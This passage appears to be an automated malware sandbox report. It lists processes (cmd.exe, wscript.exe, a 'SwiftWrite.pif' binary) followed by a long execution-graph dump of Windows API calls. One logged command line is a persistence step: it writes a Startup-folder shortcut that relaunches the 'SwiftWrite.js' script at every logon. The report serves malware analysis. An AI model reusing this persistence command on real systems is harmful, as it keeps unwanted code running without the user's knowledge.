                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
                                                          Imagebase:0xc50000
                                                          File size:236'544 bytes
                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:8
                                                          Start time:09:00:57
                                                          Start date:27/12/2024
                                                          Path:C:\Windows\System32\conhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          Imagebase:0x7ff70f010000
                                                          File size:862'208 bytes
                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:12
                                                          Start time:09:01:07
                                                          Start date:27/12/2024
                                                          Path:C:\Windows\System32\wscript.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
                                                          Imagebase:0x7ff75ab80000
                                                          File size:170'496 bytes
                                                          MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:13
                                                          Start time:09:01:08
                                                          Start date:27/12/2024
                                                          Path:C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
                                                          Imagebase:0x8c0000
                                                          File size:893'608 bytes
                                                          MD5 hash:18CE19B57F43CE0A5AF149C96AECC685
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Antivirus matches:
                                                          • Detection: 8%, ReversingLabs
                                                          Has exited:false

                                                          Disassembly

                                                          Reset < >

                                                            Execution Graph

                                                            Execution Coverage:2.5%
                                                            Dynamic/Decrypted Code Coverage:0%
                                                            Signature Coverage:10.3%
                                                            Total number of Nodes:1520
                                                            Total number of Limit Nodes:44
                                                            execution_graph 93276 7ff69db42bf8 93279 7ff69db3ed44 93276->93279 93278 7ff69db42c05 93280 7ff69db3ed75 93279->93280 93283 7ff69db3edcd 93279->93283 93280->93283 93288 7ff69db43c20 93280->93288 93286 7ff69db3edfe 93283->93286 93310 7ff69dbb34e4 77 API calls 3 library calls 93283->93310 93284 7ff69db3eda8 93284->93286 93309 7ff69db3ee20 5 API calls Concurrency::wait 93284->93309 93285 7ff69db8a636 93286->93278 93308 7ff69db43c80 93288->93308 93289 7ff69db905be 93317 7ff69dbb34e4 77 API calls 3 library calls 93289->93317 93291 7ff69db44a8f 93294 7ff69db44ac0 93291->93294 93297 7ff69db8fefe 93291->93297 93301 7ff69db44aa9 93291->93301 93293 7ff69db905d1 93293->93284 93294->93284 93295 7ff69db44fe7 93298 7ff69db3e0a8 4 API calls 93295->93298 93296 7ff69db3e0a8 4 API calls 93303 7ff69db43dde 93296->93303 93300 7ff69db3e0a8 4 API calls 93297->93300 93298->93303 93300->93294 93301->93294 93301->93296 93303->93284 93304 7ff69db55114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 93304->93308 93305 7ff69db54f0c 34 API calls __scrt_initialize_thread_safe_statics 93305->93308 93306 7ff69db550b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent _Init_thread_footer 93306->93308 93307 7ff69db39640 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93307->93308 93308->93289 93308->93291 93308->93295 93308->93301 93308->93303 93308->93304 93308->93305 93308->93306 93308->93307 93311 7ff69db45360 300 API calls Concurrency::wait 93308->93311 93312 7ff69db3e0a8 93308->93312 93316 7ff69dbb34e4 77 API calls 3 library calls 93308->93316 93309->93283 93310->93285 93311->93308 93313 7ff69db3e0b6 93312->93313 93314 7ff69db3e0bb 93312->93314 93318 7ff69db3f0ec RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 93313->93318 93314->93308 93316->93308 93317->93293 93318->93314 93319 7ff69db8f890 93328 7ff69db3e18c 93319->93328 93321 7ff69db8f8a9 93323 7ff69db8f915 Concurrency::wait 93321->93323 93334 7ff69db52ac0 CharUpperBuffW RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93321->93334 93327 7ff69db903e1 Concurrency::wait 93323->93327 93336 7ff69dbb34e4 77 API calls 3 library calls 93323->93336 93325 7ff69db8f8f6 93325->93323 93335 7ff69dbb1464 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93325->93335 93329 7ff69db3e1a7 93328->93329 93331 7ff69db3e1c2 93328->93331 93337 7ff69db3ee20 5 API calls Concurrency::wait 93329->93337 93333 7ff69db3e1af 93331->93333 93338 7ff69db3ee20 5 API calls Concurrency::wait 93331->93338 93333->93321 93334->93325 93336->93327 93337->93333 93338->93333 93339 7ff69db42c17 93342 7ff69db414a0 93339->93342 93341 7ff69db42c2a 93343 7ff69db414d3 93342->93343 93344 7ff69db8be31 93343->93344 93346 7ff69db8bdd1 93343->93346 93347 7ff69db8bdf2 93343->93347 93364 7ff69db414fa __scrt_get_show_window_mode 93343->93364 93392 7ff69dbc8f48 300 API calls 3 library calls 93344->93392 93349 7ff69db8bddb 93346->93349 93346->93364 93350 7ff69db8be19 93347->93350 93390 7ff69dbc9a88 300 API calls 4 library calls 93347->93390 93389 7ff69dbc9514 300 API calls 93349->93389 93391 7ff69dbb34e4 77 API calls 3 library calls 93350->93391 93353 7ff69db41884 93378 7ff69db52130 45 API calls 93353->93378 93355 7ff69db41815 93355->93341 93359 7ff69db41898 93359->93341 93364->93353 93364->93355 93366 7ff69db41a30 45 API calls 93364->93366 93368 7ff69db41799 93364->93368 93369 7ff69db52130 45 API calls 93364->93369 93370 7ff69db8bfe4 93364->93370 93373 7ff69db43c20 300 API calls 93364->93373 93374 7ff69db3e0a8 4 API calls 93364->93374 93377 7ff69db3ef9c 46 API calls 93364->93377 93379 7ff69db520d0 45 API calls 93364->93379 93380 7ff69db35af8 300 API calls 93364->93380 93381 7ff69db55114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 93364->93381 93382 7ff69db535c8 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93364->93382 93383 7ff69db54f0c 93364->93383 93386 7ff69db550b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 93364->93386 93387 7ff69db536c4 77 API calls 93364->93387 93388 7ff69db537dc 300 API calls 93364->93388 93393 7ff69db3ee20 5 API calls Concurrency::wait 93364->93393 93394 7ff69db9ac10 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93364->93394 93366->93364 93368->93355 93396 7ff69dbb34e4 77 API calls 3 library calls 93368->93396 93369->93364 93395 7ff69dbc93a4 77 API calls 93370->93395 93373->93364 93374->93364 93377->93364 93378->93359 93379->93364 93380->93364 93382->93364 93397 7ff69db54ebc 93383->93397 93385 7ff69db54f15 93385->93364 93387->93364 93388->93364 93389->93355 93390->93350 93391->93344 93392->93364 93393->93364 93394->93364 93395->93368 93396->93368 93398 7ff69db54eeb 93397->93398 93400 7ff69db54ee1 _onexit 93397->93400 93401 7ff69db6ab08 34 API calls _onexit 93398->93401 93400->93385 93401->93400 93402 7ff69db8b221 93403 7ff69db8b22a 93402->93403 93410 7ff69db40378 93402->93410 93425 7ff69dba47bc RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 93403->93425 93405 7ff69db8b241 93426 7ff69dba4708 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 93405->93426 93407 7ff69db8b264 93408 7ff69db43c20 300 API calls 93407->93408 93409 7ff69db8b292 93408->93409 93418 7ff69db40405 93409->93418 93427 7ff69dbc8d98 49 API calls Concurrency::wait 93409->93427 93419 7ff69db3f7b8 93410->93419 93413 7ff69db8b2d9 Concurrency::wait 93413->93410 93428 7ff69dba47bc RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 93413->93428 93414 7ff69db4070a 93417 7ff69db3e0a8 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93417->93418 93418->93414 93418->93417 93429 7ff69db3ee20 5 API calls Concurrency::wait 93418->93429 93421 7ff69db3f7d5 93419->93421 93420 7ff69db3f7de 93420->93418 93421->93420 93423 7ff69db3e0a8 4 API calls 93421->93423 93424 7ff69db3f7b8 4 API calls 93421->93424 93430 7ff69db39640 93421->93430 93423->93421 93424->93421 93425->93405 93426->93407 93427->93413 93428->93413 93429->93418 93433 7ff69db54c68 93430->93433 93432 7ff69db39663 93432->93421 93438 7ff69db54c2c 93433->93438 93434 7ff69db54c50 93434->93432 93438->93433 93438->93434 93439 7ff69db5925c EnterCriticalSection LeaveCriticalSection _mbstowcs_s_l 93438->93439 93440 7ff69db55600 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 93438->93440 93441 7ff69db55620 RtlPcToFileHeader RaiseException std::bad_alloc::bad_alloc _CxxThrowException 93438->93441 93439->93438 93441->93438 93442 7ff69db58fac 93443 7ff69db5901c 93442->93443 93444 7ff69db58fd2 GetModuleHandleW 93442->93444 93459 7ff69db6b9bc EnterCriticalSection 93443->93459 93444->93443 93453 7ff69db58fdf 93444->93453 93446 7ff69db590cb 93447 7ff69db6ba10 _isindst LeaveCriticalSection 93446->93447 93449 7ff69db590f0 93447->93449 93448 7ff69db590a0 93450 7ff69db590b8 93448->93450 93455 7ff69db6ada4 108 API calls 93448->93455 93452 7ff69db590fc 93449->93452 93458 7ff69db59118 11 API calls 93449->93458 93456 7ff69db6ada4 108 API calls 93450->93456 93451 7ff69db59026 93451->93446 93451->93448 93457 7ff69db6aa8c 30 API calls 93451->93457 93453->93443 93460 7ff69db59164 GetModuleHandleExW 93453->93460 93455->93450 93456->93446 93457->93448 93458->93452 93461 7ff69db591b5 93460->93461 93462 7ff69db5918e GetProcAddress 93460->93462 93463 7ff69db591c5 93461->93463 93464 7ff69db591bf FreeLibrary 93461->93464 93462->93461 93465 7ff69db591a8 93462->93465 93463->93443 93464->93463 93465->93461 93466 7ff69db35dec 93467 7ff69db35df4 93466->93467 93468 7ff69db35e98 93467->93468 93469 7ff69db35e28 93467->93469 93498 7ff69db35e96 93467->93498 93471 7ff69db7c229 93468->93471 93472 7ff69db35e9e 93468->93472 93473 7ff69db35f21 PostQuitMessage 93469->93473 93474 7ff69db35e35 93469->93474 93470 7ff69db35e6b DefWindowProcW 93475 7ff69db35e7c 93470->93475 93522 7ff69db4ede4 8 API calls 93471->93522 93476 7ff69db35ecc SetTimer RegisterWindowMessageW 93472->93476 93477 7ff69db35ea5 93472->93477 93473->93475 93478 7ff69db35e40 93474->93478 93479 7ff69db7c2af 93474->93479 93476->93475 93483 7ff69db35efc CreatePopupMenu 93476->93483 93481 7ff69db7c1b8 93477->93481 93482 7ff69db35eae KillTimer 93477->93482 93484 7ff69db35e49 93478->93484 93485 7ff69db35f2b 93478->93485 93534 7ff69dbaa40c 16 API calls __scrt_get_show_window_mode 93479->93534 93489 7ff69db7c1bd 93481->93489 93490 7ff69db7c1f7 MoveWindow 93481->93490 93508 7ff69db35d88 93482->93508 93483->93475 93494 7ff69db35e5f 93484->93494 93484->93498 93499 7ff69db35f0b 93484->93499 93512 7ff69db54610 93485->93512 93487 7ff69db7c255 93523 7ff69db52c44 47 API calls Concurrency::wait 93487->93523 93495 7ff69db7c1e4 SetFocus 93489->93495 93496 7ff69db7c1c2 93489->93496 93490->93475 93492 7ff69db7c2c3 93492->93470 93492->93475 93494->93470 93505 7ff69db35d88 Shell_NotifyIconW 93494->93505 93495->93475 93496->93494 93500 7ff69db7c1cb 93496->93500 93498->93470 93520 7ff69db35f3c 26 API calls __scrt_get_show_window_mode 93499->93520 93521 7ff69db4ede4 8 API calls 93500->93521 93504 7ff69db35f1f 93504->93475 93506 7ff69db7c280 93505->93506 93524 7ff69db36258 93506->93524 93509 7ff69db35d99 __scrt_get_show_window_mode 93508->93509 93510 7ff69db35de4 93508->93510 93511 7ff69db35db8 Shell_NotifyIconW 93509->93511 93519 7ff69db37098 DeleteObject DestroyWindow Concurrency::wait 93510->93519 93511->93510 93513 7ff69db5461a __scrt_get_show_window_mode 93512->93513 93514 7ff69db546db 93512->93514 93535 7ff69db372c8 93513->93535 93514->93475 93516 7ff69db546a2 KillTimer SetTimer 93516->93514 93517 7ff69db54660 93517->93516 93518 7ff69db9aaa1 Shell_NotifyIconW 93517->93518 93518->93516 93519->93475 93520->93504 93521->93475 93522->93487 93523->93494 93525 7ff69db36287 __scrt_get_show_window_mode 93524->93525 93597 7ff69db361c4 93525->93597 93528 7ff69db3632d 93530 7ff69db7c644 Shell_NotifyIconW 93528->93530 93531 7ff69db3634e Shell_NotifyIconW 93528->93531 93532 7ff69db372c8 6 API calls 93531->93532 93533 7ff69db36365 93532->93533 93533->93498 93534->93492 93536 7ff69db372f4 93535->93536 93555 7ff69db373bc Concurrency::wait 93535->93555 93557 7ff69db398e8 93536->93557 93538 7ff69db37303 93539 7ff69db7cdfc LoadStringW 93538->93539 93540 7ff69db37310 93538->93540 93542 7ff69db7ce1e 93539->93542 93560 7ff69db37cf4 93540->93560 93544 7ff69db3e0a8 4 API calls 93542->93544 93543 7ff69db37324 93545 7ff69db37336 93543->93545 93546 7ff69db7ce30 93543->93546 93552 7ff69db3734f wcscpy __scrt_get_show_window_mode 93544->93552 93545->93542 93547 7ff69db37343 93545->93547 93571 7ff69db37c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 93546->93571 93570 7ff69db37c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 93547->93570 93550 7ff69db7ce3c 93550->93552 93572 7ff69db371f8 93550->93572 93554 7ff69db373a3 Shell_NotifyIconW 93552->93554 93553 7ff69db7ce63 93556 7ff69db371f8 4 API calls 93553->93556 93554->93555 93555->93517 93556->93552 93558 7ff69db54c68 4 API calls 93557->93558 93559 7ff69db39918 93558->93559 93559->93538 93561 7ff69db7d2c8 93560->93561 93562 7ff69db37d0d 93560->93562 93583 7ff69db3dda4 93561->93583 93565 7ff69db37d51 93562->93565 93566 7ff69db37d24 93562->93566 93564 7ff69db7d2d3 93565->93564 93569 7ff69db54c68 4 API calls 93565->93569 93582 7ff69db37e4c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93566->93582 93568 7ff69db37d2f memcpy_s 93568->93543 93569->93568 93570->93552 93571->93550 93573 7ff69db3721c 93572->93573 93577 7ff69db7cd0c 93572->93577 93574 7ff69db37274 93573->93574 93578 7ff69db7cd66 memcpy_s 93573->93578 93592 7ff69db3b960 93574->93592 93576 7ff69db37283 memcpy_s 93576->93553 93579 7ff69db54c68 4 API calls 93577->93579 93580 7ff69db54c68 4 API calls 93578->93580 93579->93578 93581 7ff69db7cdda memcpy_s 93580->93581 93582->93568 93584 7ff69db3dda9 93583->93584 93586 7ff69db3ddc7 memcpy_s 93583->93586 93584->93586 93587 7ff69db3a7c0 93584->93587 93586->93564 93588 7ff69db3a7ed 93587->93588 93589 7ff69db3a7dd memcpy_s 93587->93589 93590 7ff69db7e7da 93588->93590 93591 7ff69db54c68 4 API calls 93588->93591 93589->93586 93591->93589 93593 7ff69db3b981 93592->93593 93596 7ff69db3b976 memcpy_s 93592->93596 93594 7ff69db54c68 4 API calls 93593->93594 93595 7ff69db7ef2a 93593->93595 93594->93596 93596->93576 93598 7ff69db7c5f8 93597->93598 93599 7ff69db361e0 93597->93599 93598->93599 93600 7ff69db7c602 DestroyIcon 93598->93600 93599->93528 93601 7ff69dbaad94 39 API calls wcsftime 93599->93601 93600->93599 93601->93528 93602 7ff69db8e263 93603 7ff69db8e271 93602->93603 93612 7ff69db42680 93602->93612 93603->93603 93604 7ff69db429c8 PeekMessageW 93604->93612 93605 7ff69db426da GetInputState 93605->93604 93605->93612 93607 7ff69db8d181 TranslateAcceleratorW 93607->93612 93608 7ff69db42a1f TranslateMessage DispatchMessageW 93609 7ff69db42a33 PeekMessageW 93608->93609 93609->93612 93610 7ff69db428b9 timeGetTime 93610->93612 93611 7ff69db42856 93612->93604 93612->93605 93612->93607 93612->93608 93612->93609 93612->93610 93612->93611 93613 7ff69db8d2bb timeGetTime 93612->93613 93619 7ff69db43c20 300 API calls 93612->93619 93620 7ff69dbb34e4 77 API calls 93612->93620 93622 7ff69db42b70 93612->93622 93629 7ff69db466c0 93612->93629 93663 7ff69db52de8 93612->93663 93668 7ff69db42e30 300 API calls 2 library calls 93612->93668 93670 7ff69dbb3a28 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93612->93670 93671 7ff69dbca320 300 API calls Concurrency::wait 93612->93671 93669 7ff69db52ac0 CharUpperBuffW RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93613->93669 93619->93612 93620->93612 93623 7ff69db42b96 93622->93623 93626 7ff69db42ba9 93622->93626 93672 7ff69db42050 93623->93672 93625 7ff69db42b9e 93625->93612 93692 7ff69dbb34e4 77 API calls 3 library calls 93626->93692 93628 7ff69db8e55c 93655 7ff69db4673b memcpy_s Concurrency::wait 93629->93655 93630 7ff69db91fac 93632 7ff69db91fbe 93630->93632 93827 7ff69dbcab30 300 API calls Concurrency::wait 93630->93827 93632->93612 93635 7ff69db46c0f 93636 7ff69db46c3d 93635->93636 93637 7ff69db91fc9 93635->93637 93824 7ff69db3ee20 5 API calls Concurrency::wait 93636->93824 93828 7ff69dbb34e4 77 API calls 3 library calls 93637->93828 93641 7ff69db46c4a 93825 7ff69db51fcc 300 API calls 93641->93825 93644 7ff69db54c68 4 API calls 93644->93655 93645 7ff69db920c1 93654 7ff69db46b15 93645->93654 93831 7ff69dbb34e4 77 API calls 3 library calls 93645->93831 93646 7ff69db46c78 93826 7ff69db4e8f4 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93646->93826 93649 7ff69db43c20 300 API calls 93649->93655 93650 7ff69db92032 93829 7ff69dbb34e4 77 API calls 3 library calls 93650->93829 93651 7ff69db3e0a8 4 API calls 93651->93655 93653 7ff69db46d40 9 API calls 93653->93655 93654->93612 93655->93630 93655->93635 93655->93637 93655->93641 93655->93644 93655->93645 93655->93646 93655->93649 93655->93650 93655->93651 93655->93653 93655->93654 93698 7ff69dbb8ea0 93655->93698 93731 7ff69dbb7e48 93655->93731 93765 7ff69dbcf160 93655->93765 93770 7ff69dbcf0ac 93655->93770 93773 7ff69dbb8e98 93655->93773 93806 7ff69dbb63dc 93655->93806 93811 7ff69dbb5b80 93655->93811 93817 7ff69db55114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 93655->93817 93818 7ff69db3ec00 93655->93818 93823 7ff69db550b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 93655->93823 93830 7ff69dbc8d98 49 API calls Concurrency::wait 93655->93830 93664 7ff69db52e0d 93663->93664 93667 7ff69db52e2a 93663->93667 93664->93612 93665 7ff69db52e5b IsDialogMessageW 93665->93664 93665->93667 93666 7ff69db99d94 GetClassLongPtrW 93666->93665 93666->93667 93667->93664 93667->93665 93667->93666 93668->93612 93669->93612 93670->93612 93671->93612 93673 7ff69db43c20 300 API calls 93672->93673 93678 7ff69db420a8 93673->93678 93674 7ff69db4212d 93674->93625 93675 7ff69db8d06f 93697 7ff69dbb34e4 77 API calls 3 library calls 93675->93697 93677 7ff69db8d08d 93678->93674 93678->93675 93679 7ff69db42552 93678->93679 93684 7ff69db423cb memcpy_s 93678->93684 93685 7ff69db42244 93678->93685 93688 7ff69db422a5 memcpy_s 93678->93688 93681 7ff69db54c68 4 API calls 93679->93681 93680 7ff69db8d036 93695 7ff69db3ee20 5 API calls Concurrency::wait 93680->93695 93681->93684 93683 7ff69db54c68 4 API calls 93683->93688 93684->93680 93690 7ff69dbb34e4 77 API calls 93684->93690 93694 7ff69db34a60 300 API calls 93684->93694 93685->93684 93693 7ff69db41ce4 301 API calls Concurrency::wait 93685->93693 93686 7ff69db8d062 93696 7ff69db3ee20 5 API calls Concurrency::wait 93686->93696 93688->93683 93688->93684 93690->93684 93692->93628 93693->93688 93694->93684 93695->93686 93696->93675 93697->93677 93699 7ff69dbba680 93698->93699 93707 7ff69dbba71a 93699->93707 93869 7ff69db3834c 93699->93869 93701 7ff69dbba6f3 93701->93655 93703 7ff69db3d4cc 48 API calls 93705 7ff69dbba6d0 93703->93705 93704 7ff69dbba7fd 93897 7ff69dbb1864 6 API calls 93704->93897 93878 7ff69db36838 93705->93878 93707->93701 93707->93704 93711 7ff69dbba770 93707->93711 93709 7ff69dbba805 93898 7ff69dbab334 93709->93898 93832 7ff69db3d4cc 93711->93832 93713 7ff69dbba6e6 93713->93701 93894 7ff69db37ab8 93713->93894 93715 7ff69dbba7ee 93851 7ff69dbab3a8 93715->93851 93717 7ff69dbba7a7 93719 7ff69db398e8 4 API calls 93717->93719 93722 7ff69dbba7b5 93719->93722 93720 7ff69dbba778 93720->93715 93720->93717 93724 7ff69db3e0a8 4 API calls 93722->93724 93725 7ff69dbba7c2 93724->93725 93727 7ff69db371f8 4 API calls 93725->93727 93726 7ff69db37ab8 CloseHandle 93726->93701 93728 7ff69dbba7d3 93727->93728 93729 7ff69dbab3a8 12 API calls 93728->93729 93730 7ff69dbba7e0 Concurrency::wait 93729->93730 93730->93701 93901 7ff69db38314 93730->93901 93732 7ff69dbb7e79 93731->93732 93733 7ff69db39640 4 API calls 93732->93733 93762 7ff69dbb7f55 Concurrency::wait 93732->93762 93734 7ff69dbb7ea6 93733->93734 93736 7ff69db39640 4 API calls 93734->93736 93735 7ff69db3834c 5 API calls 93737 7ff69dbb7f99 93735->93737 93738 7ff69dbb7eaf 93736->93738 93739 7ff69db3d4cc 48 API calls 93737->93739 93740 7ff69db3d4cc 48 API calls 93738->93740 93741 7ff69dbb7fab 93739->93741 93742 7ff69dbb7ebe 93740->93742 93743 7ff69db36838 16 API calls 93741->93743 93929 7ff69db374ac RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 93742->93929 93745 7ff69dbb7fba 93743->93745 93747 7ff69dbb7fbe GetLastError 93745->93747 93751 7ff69dbb7ff5 93745->93751 93746 7ff69dbb7ed8 93930 7ff69db37c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 93746->93930 93749 7ff69dbb7fd8 93747->93749 93754 7ff69db37ab8 CloseHandle 93749->93754 93757 7ff69dbb7fe5 93749->93757 93750 7ff69dbb7f07 93750->93762 93931 7ff69dbabdd4 lstrlenW GetFileAttributesW FindFirstFileW FindClose 93750->93931 93752 7ff69db39640 4 API calls 93751->93752 93755 7ff69dbb8035 93752->93755 93754->93757 93755->93757 93933 7ff69dba0d38 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 93755->93933 93756 7ff69dbb7f17 93758 7ff69dbb7f1b 93756->93758 93756->93762 93757->93655 93760 7ff69db3ec00 4 API calls 93758->93760 93761 7ff69dbb7f28 93760->93761 93932 7ff69dbabab8 8 API calls Concurrency::wait 93761->93932 93762->93735 93762->93757 93764 7ff69dbb7f31 Concurrency::wait 93764->93762 93934 7ff69dbcf630 93765->93934 93767 7ff69dbcf1cd 93767->93655 93768 7ff69dbcf182 93768->93767 94002 7ff69db3ee20 5 API calls Concurrency::wait 93768->94002 93771 7ff69dbcf630 164 API calls 93770->93771 93772 7ff69dbcf0c2 93771->93772 93772->93655 93774 7ff69dbba680 93773->93774 93775 7ff69db3834c 5 API calls 93774->93775 93781 7ff69dbba71a 93774->93781 93776 7ff69dbba6be 93775->93776 93777 7ff69db3d4cc 48 API calls 93776->93777 93779 7ff69dbba6d0 93777->93779 93778 7ff69dbba7fd 94031 7ff69dbb1864 6 API calls 93778->94031 93783 7ff69db36838 16 API calls 93779->93783 93781->93778 93782 7ff69dbba6f3 93781->93782 93786 7ff69dbba770 93781->93786 93782->93655 93785 7ff69dbba6e2 93783->93785 93784 7ff69dbba805 93789 7ff69dbab334 4 API calls 93784->93789 93785->93781 93787 7ff69dbba6e6 93785->93787 93788 7ff69db3d4cc 48 API calls 93786->93788 93787->93782 93791 7ff69db37ab8 CloseHandle 93787->93791 93794 7ff69dbba778 93788->93794 93805 7ff69dbba7e0 Concurrency::wait 93789->93805 93790 7ff69dbba7ee 93793 7ff69dbab3a8 12 API calls 93790->93793 93791->93782 93792 7ff69dbba7a7 93795 7ff69db398e8 4 API calls 93792->93795 93793->93805 93794->93790 93794->93792 93797 7ff69dbba7b5 93795->93797 93796 7ff69db38314 CloseHandle 93798 7ff69dbba85c 93796->93798 93799 7ff69db3e0a8 4 API calls 93797->93799 93798->93782 93801 7ff69db37ab8 CloseHandle 93798->93801 93800 7ff69dbba7c2 93799->93800 93802 7ff69db371f8 4 API calls 93800->93802 93801->93782 93803 7ff69dbba7d3 93802->93803 93804 7ff69dbab3a8 12 API calls 93803->93804 93804->93805 93805->93782 93805->93796 93807 7ff69db3d4cc 48 API calls 93806->93807 93808 7ff69dbb63f8 93807->93808 94032 7ff69dbabdec 93808->94032 93810 7ff69dbb6404 93810->93655 93812 7ff69dbb5ba5 93811->93812 93813 7ff69dbb5be5 FindClose 93812->93813 93814 7ff69dbb5bd5 93812->93814 93815 7ff69dbb5ba9 93812->93815 93813->93815 93814->93815 93816 7ff69db37ab8 CloseHandle 93814->93816 93815->93655 93816->93815 93819 7ff69db3ec1d 93818->93819 93820 7ff69db8a5a2 93819->93820 93821 7ff69db54c68 4 API calls 93819->93821 93822 7ff69db3ec55 memcpy_s 93821->93822 93822->93655 93824->93641 93825->93646 93826->93646 93827->93632 93828->93654 93829->93654 93830->93655 93831->93654 93833 7ff69db3d50b 93832->93833 93834 7ff69db3d4f2 93832->93834 93835 7ff69db3d53e 93833->93835 93836 7ff69db3d513 93833->93836 93834->93720 93838 7ff69db89cc4 93835->93838 93841 7ff69db3d550 93835->93841 93845 7ff69db89bbc 93835->93845 93904 7ff69db5956c 31 API calls 93836->93904 93907 7ff69db59538 31 API calls 93838->93907 93840 7ff69db3d522 93846 7ff69db3ec00 4 API calls 93840->93846 93905 7ff69db54834 46 API calls 93841->93905 93842 7ff69db89cdc 93847 7ff69db54c68 4 API calls 93845->93847 93850 7ff69db89c3e Concurrency::wait wcscpy 93845->93850 93846->93834 93848 7ff69db89c0a 93847->93848 93849 7ff69db3ec00 4 API calls 93848->93849 93849->93850 93906 7ff69db54834 46 API calls 93850->93906 93852 7ff69dbab3c8 93851->93852 93853 7ff69dbab42a 93851->93853 93854 7ff69dbab3d0 93852->93854 93855 7ff69dbab41e 93852->93855 93856 7ff69dbab334 4 API calls 93853->93856 93858 7ff69dbab3f1 93854->93858 93859 7ff69dbab3dd 93854->93859 93915 7ff69dbab458 8 API calls 93855->93915 93860 7ff69dbab410 Concurrency::wait 93856->93860 93913 7ff69db3a368 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93858->93913 93911 7ff69db3a368 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 93859->93911 93860->93730 93863 7ff69dbab3e2 93912 7ff69db54120 6 API calls 93863->93912 93864 7ff69dbab3f6 93914 7ff69dbab270 6 API calls 93864->93914 93867 7ff69dbab3ef 93908 7ff69dbab384 93867->93908 93870 7ff69db54c68 4 API calls 93869->93870 93871 7ff69db38363 93870->93871 93872 7ff69db38314 CloseHandle 93871->93872 93873 7ff69db3836f 93872->93873 93874 7ff69db39640 4 API calls 93873->93874 93875 7ff69db38378 93874->93875 93876 7ff69db38314 CloseHandle 93875->93876 93877 7ff69db38380 93876->93877 93877->93703 93879 7ff69db38314 CloseHandle 93878->93879 93880 7ff69db3685a 93879->93880 93881 7ff69db7caa8 93880->93881 93882 7ff69db3687d CreateFileW 93880->93882 93883 7ff69db7caae CreateFileW 93881->93883 93890 7ff69db368d9 93881->93890 93886 7ff69db368ab 93882->93886 93884 7ff69db7cae6 93883->93884 93883->93886 93918 7ff69db36a18 SetFilePointerEx SetFilePointerEx SetFilePointerEx 93884->93918 93893 7ff69db368e4 93886->93893 93916 7ff69db368f4 9 API calls 93886->93916 93887 7ff69db7caf3 93887->93886 93889 7ff69db368c1 93889->93890 93917 7ff69db36a18 SetFilePointerEx SetFilePointerEx SetFilePointerEx 93889->93917 93892 7ff69dbab334 4 API calls 93890->93892 93890->93893 93892->93893 93893->93707 93893->93713 93919 7ff69db382e4 93894->93919 93897->93709 93924 7ff69dbab188 93898->93924 93902 7ff69db3833d CloseHandle 93901->93902 93903 7ff69db3832a 93901->93903 93902->93903 93903->93701 93903->93726 93904->93840 93905->93840 93906->93838 93907->93842 93909 7ff69dbab334 4 API calls 93908->93909 93910 7ff69dbab399 93909->93910 93910->93860 93911->93863 93912->93867 93913->93864 93914->93867 